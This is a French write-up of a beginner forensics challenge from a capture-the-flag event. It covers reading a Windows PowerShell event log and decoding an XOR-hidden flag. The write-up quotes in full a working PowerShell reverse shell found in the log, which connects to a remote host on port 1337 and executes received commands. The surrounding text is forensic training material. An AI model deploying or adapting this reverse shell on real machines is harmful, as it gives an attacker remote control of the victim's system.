Solution de 404fafnir pour La gazette de Windows

intro forensics windows

19 février 2024

On nous donne accès à un journal windows Microsoft-Windows-PowerShell%4Operational.evtx.

En l’ouvrant dans l’event manager de windows et en le parcourant, on peut s’apercevoir qu’un des évènement contient une commande Powershell dans sa section ScriptBlockText.

do { Start-Sleep -Seconds 1 try{ $TCPClient = New-Object Net.Sockets.TCPClient('10.255.255.16', 1337) } 
catch {} } until ($TCPClient.Connected) $NetworkStream = $TCPClient.GetStream() 
$StreamWriter = New-Object IO.StreamWriter($NetworkStream) function WriteToStream ($String) 
{ [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0} $StreamWriter.Write($String + 'SHELL> ') $StreamWriter.Flush() } 
$l = 0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 0x34, 0x68, 0x3B, 0x6E, 0x25, 0x25, 0x24, 0x77, 0x77, 
0x73, 0x20, 0x75, 0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 0x16, 0x40, 0x47, 0x16, 0x4B, 0x4C, 0x13, 
0x4A, 0x48, 0x1A, 0x1C, 0x19, 0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 
0x27, 0x77, 0x38, 0x4B, 0x4D $s = "" for ($i = 0; $i -lt 72; $i++) { $s += [char]([int]$l[$i] -bxor $i) } 
WriteToStream $s while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) 
{ $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1) $Output = try 
{ Invoke-Expression $Command 2>&1 | Out-String } catch { $_ | Out-String } WriteToStream ($Output) } 
$StreamWriter.Close()

On peut voir la précence d’une variable $l contenant de l’hexadécimal.

On peut aussi s’appercevoir que les fonctions suivantes exécutent des opérations sur cette variable, sûrement pour la décoder.

Il suffit alors d’effectuer les mêmes opérations que le script pour décoder la variable et trouver le flag.

Dans un terminal PowerShell :

PS C:\User\404fafnir>$l = 0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 0x34, 0x68, 0x3B, 0x6E, 0x25, 
0x25, 0x24, 0x77, 0x77, 0x73, 0x20, 0x75, 0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 0x16, 0x40, 
0x47, 0x16, 0x4B, 0x4C, 0x13, 0x4A, 0x48, 0x1A, 0x1C, 0x19, 0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 
0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 0x27, 0x77, 0x38, 0x4B, 0x4D

PS C:\User\404fafnir>$s = ""

PS C:\User\404fafnir>for ($i = 0; $i -lt 72; $i++) { $s += [char]([int]$l[$i] -bxor $i) }

PS C:\User\404fafnir>$s
FCSC{*******************************}

Félicitations, vous avez découvert le flag !